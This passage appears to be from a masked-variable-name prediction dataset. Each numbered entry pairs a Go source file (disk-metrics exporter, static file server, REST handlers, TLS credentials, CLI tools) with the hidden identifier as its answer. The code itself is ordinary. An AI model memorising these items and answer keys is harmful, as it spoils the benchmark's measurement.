""github.com/jakubjastrabik/smartctl_ssacli_exporter/parser"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/common/log"" ) var _ prometheus.Collector = &SmartctlDiskCollector{} // SmartctlDiskCollector Contain raid controller detail information type SmartctlDiskCollector struct { diskID string diskN int model *prometheus.Desc sn *prometheus.Desc rotRate *prometheus.Desc fromFact *prometheus.Desc rawReadErrorRate *prometheus.Desc reallocatedSectorCt *prometheus.Desc powerOnHours *prometheus.Desc powerCycleCount *prometheus.Desc runtimeBadBlock *prometheus.Desc endToEndError *prometheus.Desc reportedUncorrect *prometheus.Desc commandTimeout *prometheus.Desc hardwareECCRecovered *prometheus.Desc reallocatedEventCount *prometheus.Desc currentPendingSector *prometheus.Desc offlineUncorrectable *prometheus.Desc uDMACRCErrorCount *prometheus.Desc unusedRsvdBlkCntTot *prometheus.Desc } // NewSmartctlDiskCollector Create new collector func NewSmartctlDiskCollector(diskID string, diskN int) *SmartctlDiskCollector { // Init labels var ( namespace = ""smartctl"" [MASK] = ""physical_disk"" labels = []string{ ""diskID"", ""model"", ""sn"", ""rotRate"", ""fromFact"", } ) // Rerutn Colected metric to ch <- // Include labels return &SmartctlDiskCollector{ diskID: diskID, diskN: diskN, rawReadErrorRate: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""rawReadErrorRate""), ""Smartctl raw read error rate"", labels, nil, ), reallocatedSectorCt: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""reallocatedSectorCt""), ""Smartctl reallocated sector ct"", labels, nil, ), powerOnHours: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""powerOnHours""), ""Smartctl power on hours"", labels, nil, ), powerCycleCount: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""powerCycleCount""), ""Smartctl power cycle down count"", labels, nil, ), runtimeBadBlock: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""runtimeBadBlock""), ""Smartctl runtime bad block"", labels, nil, ), endToEndError: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""endToEndError""), ""Smartctl end to end error"", labels, nil, ), reportedUncorrect: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""reportedUncorrect""), ""Smartctl reported uncorrect"", labels, nil, ), commandTimeout: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""commandTimeout""), ""Smartctl command timeout"", labels, nil, ), hardwareECCRecovered: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""hardwareECCRecovered""), ""Smartctl hardware ecc recovered"", labels, nil, ), reallocatedEventCount: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""reallocatedEventCount""), ""Smartctl reallocated event count"", labels, nil, ), currentPendingSector: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""currentPendingSector""), ""Smartctl current pending sector"", labels, nil, ), offlineUncorrectable: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""offlineUncorrectable""), ""Smartctl offline uncorrectable"", labels, nil, ), uDMACRCErrorCount: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""uDMACRCErrorCount""), ""Smartctl ud macrc error count"", labels, nil, ), unusedRsvdBlkCntTot: prometheus.NewDesc( prometheus.BuildFQName(namespace, [MASK] , ""unusedRsvdBlkCntTot""), ""Smartctl unused rsvd block Count Total"", labels, nil, ), } } // Describe return all description to chanel func (c *SmartctlDiskCollector) Describe(ch chan<- *prometheus.Desc) { ds := []*prometheus.Desc{ c.rawReadErrorRate, c.reallocatedSectorCt, c.powerOnHours, c.powerCycleCount, c.runtimeBadBlock, c.endToEndError, c.reportedUncorrect, c.commandTimeout, c.hardwareECCRecovered, c.reallocatedEventCount, c.currentPendingSector, c.offlineUncorrectable, c.uDMACRCErrorCount, c.unusedRsvdBlkCntTot, } for _, d := range ds { ch <- d } } // Collect create collector // Get metric // Handle error func (c *SmartctlDiskCollector) Collect(ch chan<- prometheus.Metric) { if desc, err := c.collect(ch); err != nil { log.Debugln(""[ERROR] failed collecting metric %v: %v"", desc, err) ch <- prometheus.NewInvalidMetric(desc, err) return } } func (c *SmartctlDiskCollector) collect(ch chan<- prometheus.Metric) (*prometheus.Desc, error) { if c.diskID == """" { return nil, nil } cmd := ""smartctl -iA -d cciss,"" + strconv.Itoa(c.diskN) + "" /dev/sda | grep ."" out, err := exec.Command(""bash"", ""-c"", cmd).CombinedOutput() if err != nil { log.Debugln(""[ERROR] smart log: \n%s\n"", out) return nil, err } data := parser.ParseSmartctlDisk(string(out)) if data == nil { log.Fatal(""Unable get data from smartctl exporter"") return nil, nil } var ( labels = []string{ c.diskID, data.SmartctlDiskDataInfo[0].Model, data.SmartctlDiskDataInfo[0].SN, data.SmartctlDiskDataInfo[0].RotRate, data.SmartctlDiskDataInfo[0].FromFact, } ) ch <- prometheus.MustNewConstMetric( c.rawReadErrorRate, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].RawReadErrorRate), labels..., ) ch <- prometheus.MustNewConstMetric( c.reallocatedSectorCt, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].ReallocatedSectorCt), labels..., ) ch <- prometheus.MustNewConstMetric( c.powerOnHours, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].PowerOnHours), labels..., ) ch <- prometheus.MustNewConstMetric( c.powerCycleCount, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].PowerCycleCount), labels..., ) ch <- prometheus.MustNewConstMetric( c.runtimeBadBlock, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].RuntimeBadBlock), labels..., ) ch <- prometheus.MustNewConstMetric( c.endToEndError, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].EndToEndError), labels..., ) ch <- prometheus.MustNewConstMetric( c.reportedUncorrect, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].ReportedUncorrect), labels..., ) ch <- prometheus.MustNewConstMetric( c.commandTimeout, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].CommandTimeout), labels..., ) ch <- prometheus.MustNewConstMetric( c.hardwareECCRecovered, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].HardwareECCRecovered), labels..., ) ch <- prometheus.MustNewConstMetric( c.reallocatedEventCount, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].ReallocatedEventCount), labels..., ) ch <- prometheus.MustNewConstMetric( c.currentPendingSector, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].CurrentPendingSector), labels..., ) ch <- prometheus.MustNewConstMetric( c.offlineUncorrectable, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].OfflineUncorrectable), labels..., ) ch <- prometheus.MustNewConstMetric( c.uDMACRCErrorCount, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].UDMACRCErrorCount), labels..., ) ch <- prometheus.MustNewConstMetric( c.unusedRsvdBlkCntTot, prometheus.GaugeValue, float64(data.SmartctlDiskDataAttr[0].UnusedRsvdBlkCntTot), labels..., ) return nil, nil } ",subsystem 632,"package main import ( ""bytes"" ""flag"" ""fmt"" ""html/template"" ""net/http"" ""os"" ""path"" ""path/filepath"" ""strings"" templateIndex ""github.com/jkandasa/static-file-server/pkg/template"" ""github.com/jkandasa/static-file-server/pkg/utils"" ""github.com/jkandasa/static-file-server/pkg/version"" ) const ( ENV_BRAND_NAME = ""BRAND_NAME"" DEFAULT_BRAND_NAME = ""Lightweight Static File Server"" ) var ( baseDir string brandName string webpageTemplate *template.Template ) func main() { port := flag.String(""port"", ""8080"", ""port to serve on"") directory := flag.String(""dir"", ""/data"", ""the static directory to host"") flag.Parse() // print version details fmt.Println(version.Get().ToString()) baseDir = *directory brandName = os.Getenv(ENV_BRAND_NAME) if brandName == """" { brandName = DEFAULT_BRAND_NAME } // compile webpage template compiledTemplate, err := template.New(""webpage"").Parse(templateIndex.INDEX) if err != nil { panic(err) } webpageTemplate = compiledTemplate http.HandleFunc(""/"", handleRequests) fmt.Printf(""serving %s on HTTP port: %s\n"", *directory, *port) address := fmt.Sprintf("":%s"", *port) err = http.ListenAndServe(address, nil) if err != nil { panic(err) } } func handleRequests(w http.ResponseWriter, r *http.Request) { filename := r.URL.Path [MASK] , valid := utils.IsValidPath(baseDir, filename) if !valid { writeFileNotFound(w) return } file := utils.IsFileExists( [MASK] ) if file == nil { writeFileNotFound(w) return } if file.IsDir { // check the index.html is available indexFile := filepath.Join( [MASK] , ""index.html"") if utils.IsFileExists(indexFile) != nil { http.ServeFile(w, r, indexFile) return } files, err := utils.ListFiles(baseDir, [MASK] ) if err != nil { fmt.Println(err) writeFileNotFound(w) return } baseReference := strings.TrimPrefix(path.Dir( [MASK] ), baseDir) var tplBuffer bytes.Buffer err = webpageTemplate.Execute(&tplBuffer, map[string]interface{}{""Files"": files, ""Dir"": baseReference, ""Brand"": brandName}) if err != nil { _, err = w.Write(tplBuffer.Bytes()) if err != nil { fmt.Println(err) } return } _, err = w.Write(tplBuffer.Bytes()) if err != nil { fmt.Println(err) } return } http.ServeFile(w, r, [MASK] ) } func writeFileNotFound(w http.ResponseWriter) { http.Error(w, ""404 page not found"", http.StatusNotFound) } ",fileFullPath 633,"// Copyright 2015,2016,2017,2018,2019 () // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package htmlcolors import ""testing"" func TestNearNamedColor(t *testing.T) { [MASK] := Color24(0x123456) outCo := [MASK] .NearNamedColor24() t.Logf(""%v %v %v %v"", [MASK] .UInt8Array(), outCo, outCo.UInt8Array(), [MASK] .LenTo(outCo), ) } ",inCo 634,"package controllers /* Copyright 2024, JAFAX, Inc. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ import ( ""log"" ""net/http"" ""strconv"" ""github.com/JAFAX/giron-service/model"" ""github.com/gin-gonic/gin"" ) // CreateBuilding Add a building // // @Summary Create a new building // @Description Create a new building // @Tags buildings // @Accept json // @Produce json // @Param building body model.ProposedBuilding true ""Building data"" // @Security BasicAuth // @Success 200 {object} model.SuccessMsg // @Failure 400 {object} model.FailureMsg // @Router /building [post] func (g *GironService) CreateBuilding(c *gin.Context) { [MASK] , authed := g.GetUserId(c) if authed { var json model.ProposedBuilding if err := c.ShouldBindJSON(&json); err != nil { c.IndentedJSON(http.StatusBadRequest, gin.H{""error"": err.Error()}) return } s, err := model.CreateBuilding(json, [MASK] .Id) if s { c.IndentedJSON(http.StatusOK, gin.H{""message"": ""Building has been added to system""}) } else { c.IndentedJSON(http.StatusBadRequest, gin.H{""error"": err.Error()}) } } else { c.IndentedJSON(http.StatusForbidden, gin.H{""error"": ""Insufficient access. Access denied!""}) } } // GetBuildings Retrieve list of all buildings // // @Summary Retrieve list of all panels // @Description Retrieve list of all panels // @Tags buildings // @Produce json // @Success 200 {object} model.BuildingList // @Failure 400 {object} model.FailureMsg // @Router /buildings [get] func (g *GironService) GetBuildings(c *gin.Context) { _, authed := g.GetUserId(c) if authed { buildings, err := model.GetBuildings() if err != nil { log.Println(""ERROR: Cannot retrieve list of buildings: "" + string(err.Error())) c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": err}) return } if buildings == nil { log.Println(""WARN: No buildings returned"") c.IndentedJSON(http.StatusNotFound, gin.H{""error"": ""no records found!""}) } else { log.Println(""INFO: Returned list of buildings"") c.IndentedJSON(http.StatusOK, gin.H{""data"": buildings}) } } else { c.IndentedJSON(http.StatusForbidden, gin.H{""error"": ""Insufficient access. Access denied!""}) } } // GetBuildingById Retrieve building by Id // // @Summary Retrieve building by Id // @Description Retrieve building by Id // @Tags buildings // @Produce json // @Param id path string true ""Building Id"" // @Success 200 {object} model.Building // @Failure 400 {object} model.FailureMsg // @Router /building/{id} [get] func (g *GironService) GetBuildingById(c *gin.Context) { _, authed := g.GetUserId(c) if authed { id, _ := strconv.Atoi(c.Param(""id"")) ent, err := model.GetBuildingById(id) if err != nil { log.Println(""ERROR: Cannot retrieve building by Id '"" + strconv.Itoa(id) + ""': "" + string(err.Error())) c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": err}) return } if ent.Name == """" { log.Println(""WARN: No building returned"") c.IndentedJSON(http.StatusNotFound, gin.H{""error"": ""no records found!""}) } else { log.Println(""INFO: Returned approved list of panels"") c.IndentedJSON(http.StatusOK, ent) } } else { c.IndentedJSON(http.StatusForbidden, gin.H{""error"": ""Insufficient access. Access denied!""}) } } // UpdateBuildingById Update building by Id // // @Summary Update building information // @Description Update building information // @Tags buildings // @Produce json // @Param id path string true ""Building Id"" // @Param building body model.BuildingUpdate true ""Building data"" // @Security BasicAuth // @Success 200 {object} model.SuccessMsg // @Failure 400 {object} model.FailureMsg // @Router /building/{id} [patch] func (g *GironService) UpdateBuildingById(c *gin.Context) { _, authed := g.GetUserId(c) if authed { id, err := strconv.Atoi(c.Param(""id"")) if err != nil { c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": string(err.Error())}) return } var json model.BuildingUpdate if err := c.ShouldBindJSON(&json); err != nil { c.IndentedJSON(http.StatusBadRequest, gin.H{""error"": err.Error()}) return } // we don't need the status, since the error speaks for itself _, err = model.UpdateBuildingById(id, json) if err != nil { c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": string(err.Error())}) return } c.IndentedJSON(http.StatusOK, gin.H{""message"": ""Panel location updated""}) } else { c.IndentedJSON(http.StatusForbidden, gin.H{""error"": ""Insufficient access. Access denied!""}) } } // DeleteBuildingById Delete a building by its Id // // @Summary Delete a building by Id // @Description Delete a building by Id // @Tags buildings // @Accept json // @Produce json // @Param id path string true ""Building Id"" // @Security BasicAuth // @Success 200 {object} model.SuccessMsg // @Failure 400 {object} model.FailureMsg // @Router /building/{id} [delete] func (g *GironService) DeleteBuildingById(c *gin.Context) { _, authed := g.GetUserId(c) if authed { id, _ := strconv.Atoi(c.Param(""id"")) status, err := model.DeleteBuildingById(id) if err != nil { log.Println(""ERROR: Cannot delete building: "" + string(err.Error())) c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": ""Unable to remove building! "" + string(err.Error())}) return } if status { idString := strconv.Itoa(id) c.IndentedJSON(http.StatusOK, gin.H{""message"": ""Building Id '"" + idString + ""' has been removed from system""}) } else { c.IndentedJSON(http.StatusInternalServerError, gin.H{""error"": ""Unable to remove building!""}) } } else { c.IndentedJSON(http.StatusForbidden, gin.H{""error"": ""Insufficient access. Access denied!""}) } } ",userObject 635,"/* Copyright IBM Corp. All Rights Reserved. SPDX-License-Identifier: Apache-2.0 */ package comm import ( ""context"" ""github.com/tjfoc/gmsm/sm2"" //""crypto/tls"" //""crypto/x509"" ""errors"" ""net"" ""sync"" ""github.com/Matrix-Zhang/fabric-gm/common/flogging"" tls ""github.com/tjfoc/gmtls"" //credentials ""github.com/tjfoc/gmtls/gmcredentials"" ""github.com/tjfoc/gmtls/gmcredentials"" ""google.golang.org/grpc/credentials"" ) var ( ClientHandshakeNotImplError = errors.New(""core/comm: Client handshakes"" + ""are not implemented with serverCreds"") OverrrideHostnameNotSupportedError = errors.New( ""core/comm: OverrideServerName is "" + ""not supported"") ServerHandshakeNotImplementedError = errors.New(""core/comm: server handshakes are not implemented with clientCreds"") MissingServerConfigError = errors.New( ""core/comm: `serverConfig` cannot be nil"") // alpnProtoStr are the specified application level protocols for gRPC. alpnProtoStr = []string{""h2""} ) // NewServerTransportCredentials returns a new initialized // grpc/credentials.TransportCredentials func NewServerTransportCredentials( serverConfig *TLSConfig, logger *flogging.FabricLogger) credentials.TransportCredentials { // NOTE: unlike the default grpc/credentials implementation, we do not // clone the tls.Config which allows us to update it dynamically serverConfig.config.NextProtos = alpnProtoStr // override TLS version and ensure it is 1.2 serverConfig.config.MinVersion = tls.VersionTLS12 serverConfig.config.MaxVersion = tls.VersionTLS12 return &serverCreds{ serverConfig: serverConfig, logger: logger} } // serverCreds is an implementation of grpc/credentials.TransportCredentials. type serverCreds struct { serverConfig *TLSConfig logger *flogging.FabricLogger } type TLSConfig struct { config *tls.Config lock sync.RWMutex } func NewTLSConfig(config *tls.Config) *TLSConfig { return &TLSConfig{ config: config, } } func (t *TLSConfig) Config() tls.Config { t.lock.RLock() defer t.lock.RUnlock() if t.config != nil { return *t.config.Clone() } return tls.Config{} } func (t *TLSConfig) AddClientRootCA(cert *sm2.Certificate) { t.lock.Lock() defer t.lock.Unlock() t.config.ClientCAs.AddCert(cert) } func (t *TLSConfig) SetClientCAs( [MASK] *sm2.CertPool) { t.lock.Lock() defer t.lock.Unlock() t.config.ClientCAs = [MASK] } // ClientHandShake is not implemented for `serverCreds`. func (sc *serverCreds) ClientHandshake(context.Context, string, net.Conn) (net.Conn, credentials.AuthInfo, error) { return nil, nil, ClientHandshakeNotImplError } // ServerHandshake does the authentication handshake for servers. func (sc *serverCreds) ServerHandshake(rawConn net.Conn) (net.Conn, credentials.AuthInfo, error) { serverConfig := sc.serverConfig.Config() conn := tls.Server(rawConn, &serverConfig) if err := conn.Handshake(); err != nil { if sc.logger != nil { sc.logger.With(""remote address"", conn.RemoteAddr().String()).Errorf(""TLS handshake failed with error %s"", err) } return nil, nil, err } return conn, gmcredentials.TLSInfo{State: conn.ConnectionState()}, nil } // Info provides the ProtocolInfo of this TransportCredentials. func (sc *serverCreds) Info() credentials.ProtocolInfo { return credentials.ProtocolInfo{ SecurityProtocol: ""tls"", SecurityVersion: ""1.2"", } } // Clone makes a copy of this TransportCredentials. func (sc *serverCreds) Clone() credentials.TransportCredentials { config := sc.serverConfig.Config() serverConfig := NewTLSConfig(&config) creds := NewServerTransportCredentials(serverConfig, sc.logger) return creds } // OverrideServerName overrides the server name used to verify the hostname // on the returned certificates from the server. func (sc *serverCreds) OverrideServerName(string) error { return OverrrideHostnameNotSupportedError } type DynamicClientCredentials struct { TLSConfig *tls.Config TLSOptions []TLSOption } func (dtc *DynamicClientCredentials) latestConfig() *tls.Config { tlsConfigCopy := dtc.TLSConfig.Clone() for _, tlsOption := range dtc.TLSOptions { tlsOption(tlsConfigCopy) } return tlsConfigCopy } func (dtc *DynamicClientCredentials) ClientHandshake(ctx context.Context, authority string, rawConn net.Conn) (net.Conn, credentials.AuthInfo, error) { return gmcredentials.NewTLS(dtc.latestConfig()).ClientHandshake(ctx, authority, rawConn) } func (dtc *DynamicClientCredentials) ServerHandshake(rawConn net.Conn) (net.Conn, credentials.AuthInfo, error) { return nil, nil, ServerHandshakeNotImplementedError } func (dtc *DynamicClientCredentials) Info() credentials.ProtocolInfo { return gmcredentials.NewTLS(dtc.latestConfig()).Info() } func (dtc *DynamicClientCredentials) Clone() credentials.TransportCredentials { return gmcredentials.NewTLS(dtc.latestConfig()) } func (dtc *DynamicClientCredentials) OverrideServerName(name string) error { dtc.TLSConfig.ServerName = name return nil } ",certPool 636,"package secrets import ( ""os"" ""testing"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/secretsmanager"" ) func TestManager_Decode(t *testing.T) { if os.Getenv(""AWS_ACCESS_KEY_ID"") == """" { t.SkipNow() } if os.Getenv(""AWS_SECRET_ACCESS_KEY"") == """" { t.SkipNow() } if os.Getenv(""AWS_REGION"") == """" { t.SkipNow() } if os.Getenv(""SECRET_PATH"") == """" { t.SkipNow() } var ( s = session.Must(session.NewSession(aws.NewConfig())) [MASK] = secretsmanager.New(s) ) decoder, err := NewManager(WithSecretsManager( [MASK] )) if err != nil { t.Fatalf(""got %v; want nil"", err) } m := map[string]interface{}{} err = decoder.Decode(os.Getenv(""SECRET_PATH""), &m) if err != nil { t.Fatalf(""got %v; want nil"", err) } if got := len(m); got == 0 { t.Fatalf(""got 0; want > 0"") } } ",api 637,"package main import ( ""log"" ""net"" ""os"" ""github.com/kubernetes/kubernetes/pkg/kubelet/api/v1alpha1/runtime"" ""github.com/mrunalp/ocid/server"" ""github.com/urfave/cli"" ""google.golang.org/grpc"" ) const ( unixDomainSocket = ""/var/run/ocid.sock"" ) func main() { app := cli.NewApp() app.Name = ""ocic"" app.Usage = ""client for ocid"" app.Flags = []cli.Flag{ cli.StringFlag{ Name: ""sandboxdir"", Value: ""/var/lib/ocid/sandboxes"", Usage: ""ocid pod sandbox dir"", }, cli.StringFlag{ Name: ""runtime"", Value: ""/usr/bin/runc"", Usage: ""OCI runtime path"", }, cli.StringFlag{ Name: ""containerdir"", Value: ""/var/lib/ocid/containers"", Usage: ""ocid container dir"", }, } app.Action = func(c *cli.Context) error { // Remove the socket if it already exists if _, err := os.Stat(unixDomainSocket); err == nil { if err := os.Remove(unixDomainSocket); err != nil { log.Fatal(err) } } lis, err := net.Listen(""unix"", unixDomainSocket) if err != nil { log.Fatalf(""failed to listen: %v"", err) } s := grpc.NewServer() containerDir := c.String(""containerdir"") [MASK] := c.String(""sandboxdir"") service, err := server.New(c.String(""runtime""), [MASK] , containerDir) if err != nil { log.Fatal(err) } runtime.RegisterRuntimeServiceServer(s, service) runtime.RegisterImageServiceServer(s, service) s.Serve(lis) return nil } if err := app.Run(os.Args); err != nil { log.Fatal(err) } } ",sandboxDir 638,"// Package main contains CLI command implementations for go-envsync. package main import ( ""context"" ""fmt"" ""os"" ""time"" ""github.com/spf13/cobra"" ""github.com/Gosayram/go-envsync/pkg/client"" ""github.com/Gosayram/go-envsync/pkg/exporter"" ""github.com/Gosayram/go-envsync/pkg/providers/local"" ""github.com/Gosayram/go-envsync/pkg/validator"" ) // Constants for load command const ( // DefaultTimeout for load operations. DefaultTimeout = 30 * time.Second // DefaultExportFormat when no format is specified. DefaultExportFormat = ""env"" // DefaultMergeStrategy when multiple sources are provided. DefaultMergeStrategy = ""override"" // MaxSources defines the maximum number of sources that can be loaded. MaxSources = 10 // SourceFormatParts defines the expected number of parts in source format. SourceFormatParts = 2 ) // LoadCommand flags var ( loadSources []string loadSchema string loadExport string loadMergeStrategy string loadTimeout time.Duration loadOutputDir string loadDryRun bool ) // loadCmd represents the load command var loadCmd = &cobra.Command{ Use: ""load"", Short: ""Load configuration from specified sources"", Long: `Load configuration from one or more sources with validation and export capabilities. Supported sources: - local:.env (or just .env) - Load from local .env file - k8s:namespace/secret - Load from Kubernetes Secret (planned) - vault:path/to/secret - Load from HashiCorp Vault (planned) - s3:bucket/path - Load from AWS S3 (planned) Examples: go-envsync load --from=.env --validate=./schema.json --export=json:config.json go-envsync load --from=.env --from=local:.env.local --export=yaml:config.yaml go-envsync load --from=.env --merge-strategy=preserve --dry-run`, RunE: runLoadCommand, } func init() { // Add load command to root rootCmd.AddCommand(loadCmd) // Define flags loadCmd.Flags().StringSliceVar(&loadSources, ""from"", []string{}, ""Configuration sources to load from"") loadCmd.Flags().StringVar(&loadSchema, ""validate"", """", ""JSON schema file for validation"") loadCmd.Flags().StringVar(&loadExport, ""export"", """", ""Export format and destination (format:path)"") loadCmd.Flags().StringVar(&loadMergeStrategy, ""merge-strategy"", DefaultMergeStrategy, ""Merge strategy for multiple sources (override, preserve, error)"") loadCmd.Flags().DurationVar(&loadTimeout, ""timeout"", DefaultTimeout, ""Timeout for load operations"") loadCmd.Flags().StringVar(&loadOutputDir, ""output-dir"", ""."", ""Output directory for exported files"") loadCmd.Flags().BoolVar(&loadDryRun, ""dry-run"", false, ""Perform a dry run without writing files"") // Mark required flags if err := loadCmd.MarkFlagRequired(""from""); err != nil { // This should never happen in practice, but we need to handle the error panic(fmt.Sprintf(""failed to mark 'from' flag as required: %v"", err)) } } // runLoadCommand executes the load command. func runLoadCommand(_ *cobra.Command, _ []string) error { // Create context with timeout ctx, cancel := context.WithTimeout(context.Background(), loadTimeout) defer cancel() // Validate inputs if err := validateLoadInputs(); err != nil { return err } // Create client envClient := client.New() // Setup providers setupProviders(envClient) // Setup validator if schema is provided if loadSchema != """" { if err := setupValidator(envClient); err != nil { return fmt.Errorf(""failed to setup validator: %w"", err) } } // Setup exporter if export is requested if loadExport != """" { setupExporter(envClient) } // Parse merge strategy mergeStrategy, err := parseMergeStrategy(loadMergeStrategy) if err != nil { return err } // Load configuration fmt.Printf(""Loading configuration from %d sources...\n"", len(loadSources)) loadOptions := client.LoadOptions{ Sources: loadSources, Schema: loadSchema, MergeStrategy: mergeStrategy, } env, err := envClient.Load(ctx, loadOptions) if err != nil { return fmt.Errorf(""failed to load configuration: %w"", err) } // Display loaded configuration summary fmt.Printf(""Successfully loaded %d configuration keys\n"", len(env.Data)) // Export if requested if loadExport != """" && !loadDryRun { fmt.Printf(""Exporting configuration to %s...\n"", loadExport) if err := exportConfiguration(env, loadExport); err != nil { return fmt.Errorf(""failed to export configuration: %w"", err) } fmt.Println(""Configuration exported successfully"") } // Display dry run information if loadDryRun { fmt.Println(""\nDry run completed - no files were written"") fmt.Printf(""Configuration keys: %v\n"", env.Keys()) } return nil } // validateLoadInputs validates the load command inputs. func validateLoadInputs() error { // Check number of sources if len(loadSources) == 0 { return fmt.Errorf(""at least one source must be specified"") } if len(loadSources) > MaxSources { return fmt.Errorf(""too many sources: %d > %d"", len(loadSources), MaxSources) } // Validate merge strategy validStrategies := []string{""override"", ""preserve"", ""error""} valid := false for _, strategy := range validStrategies { if loadMergeStrategy == strategy { valid = true break } } if !valid { return fmt.Errorf(""invalid merge strategy: %s (valid: %v)"", loadMergeStrategy, validStrategies) } // Validate schema file if provided if loadSchema != """" { if _, err := os.Stat(loadSchema); os.IsNotExist(err) { return fmt.Errorf(""schema file not found: %s"", loadSchema) } } return nil } // setupProviders configures the providers for the client. func setupProviders(envClient *client.Client) { // Setup local provider localProvider := local.NewProviderWithBase(""."") envClient.AddProvider(""local"", localProvider) // Also add as default provider envClient.AddProvider(client.DefaultProviderName, localProvider) // TODO: Add other providers (K8s, Vault, S3) in future phases } // setupValidator configures the validator for the client. func setupValidator(envClient *client.Client) error { schemaValidator, err := validator.NewSchemaValidator(loadSchema) if err != nil { return err } envClient.SetValidator(schemaValidator) return nil } // setupExporter configures the exporter for the client. func setupExporter(envClient *client.Client) { [MASK] := exporter.NewMultiFormatExporter(loadOutputDir) envClient.SetExporter( [MASK] ) } // parseMergeStrategy converts string merge strategy to client enum. func parseMergeStrategy(strategy string) (client.MergeStrategy, error) { switch strategy { case ""override"": return client.MergeStrategyOverride, nil case ""preserve"": return client.MergeStrategyPreserve, nil case ""error"": return client.MergeStrategyError, nil default: return client.MergeStrategyOverride, fmt.Errorf(""unknown merge strategy: %s"", strategy) } } // exportConfiguration exports the loaded configuration. func exportConfiguration(env *client.Environment, exportSpec string) error { // Use the environment's built-in export methods based on format if exportSpec == """" { return fmt.Errorf(""export specification cannot be empty"") } // Parse export format parts := []string{exportSpec} if len(parts) > 0 && parts[0] != """" { // Let the client handle the export through its configured exporter return env.ExportEnv(exportSpec) // This will be handled by the exporter based on format } return fmt.Errorf(""invalid export specification: %s"", exportSpec) } ",multiExporter 639,"package handler import ( ""net/http"" ""html/template"" ""os"" ""strconv"" ) //首页 func IndexHandler(w http.ResponseWriter, r *http.Request) { renderPanel(w, ""index"","""", """") } /* * 私有函数, handler包内其它函数可以调用以下函数 */ func renderPanel(w http.ResponseWriter, controller string, action string, data interface{}){ basePath, _ := os.Getwd() framePath := basePath + ""/template/frame.html"" headerPath := basePath + ""/template/header.html"" footerPath := basePath + ""/template/footer.html"" leftPath := basePath + ""/template/"" + controller + ""/left_menu.html"" var [MASK] string if action == """" { [MASK] = basePath + ""/template/"" + controller + ""/panel_index.html"" }else{ [MASK] = basePath + ""/template/"" + controller + ""/panel_"" + action + "".html"" } t, error := template.ParseFiles(framePath, headerPath, footerPath, leftPath, [MASK] ) if error != nil { w.WriteHeader(500) errorPath := basePath + ""/template/500.html"" t1, _ := template.ParseFiles(errorPath) t1.Execute(w, ""view file ["" + [MASK] + ""] does not exist"" ) }else { /* funcMap := template.FuncMap{""active"": activeLink} t.Funcs(funcMap) */ viewData := map[string]interface{}{""controller"": controller, ""action"": action, ""static"": ""/static"", ""data"":data} t.ExecuteTemplate(w, ""frame"", viewData) } } /* func activeLink(arg1 string, arg2 string) string{ if arg1 == arg2 { return ""active"" }else{ return ""sibling"" } } */ func get(r *http.Request, name string) string { r.ParseForm() if len(r.Form[name]) > 0 { return r.Form[name][0] }else{ return """" } } func getInt(r *http.Request, name string) int { g := get(r, name) i, err := strconv.Atoi(g) if err != nil { i = 0 } return i } ",panelPath 640,"// package throttler is taken from https://github.com/tylertreat/comcast // and modified for use as a library package throttler import ( ""bufio"" ""errors"" ""fmt"" ""log"" ""os"" ""os/exec"" ""runtime"" ) const ( linux = ""linux"" darwin = ""darwin"" freebsd = ""freebsd"" windows = ""windows"" checkOSXVersion = ""sw_vers -productVersion"" ipfw = ""ipfw"" pfctl = ""pfctl"" ) // Config specifies options for configuring packet filter rules. type Config struct { Device string Stop bool Latency int TargetBandwidth int DefaultBandwidth int PacketLoss float64 TargetIps []string TargetIps6 []string TargetPorts []string TargetProtos []string DryRun bool } type throttler interface { setup(*Config) error teardown(*Config) error exists() bool check() string } type commander interface { execute(string) error executeGetLines(string) ([]string, error) commandExists(string) bool } type dryRunCommander struct{} type shellCommander struct{} var dry bool func setup(t throttler, cfg *Config) { if t.exists() { 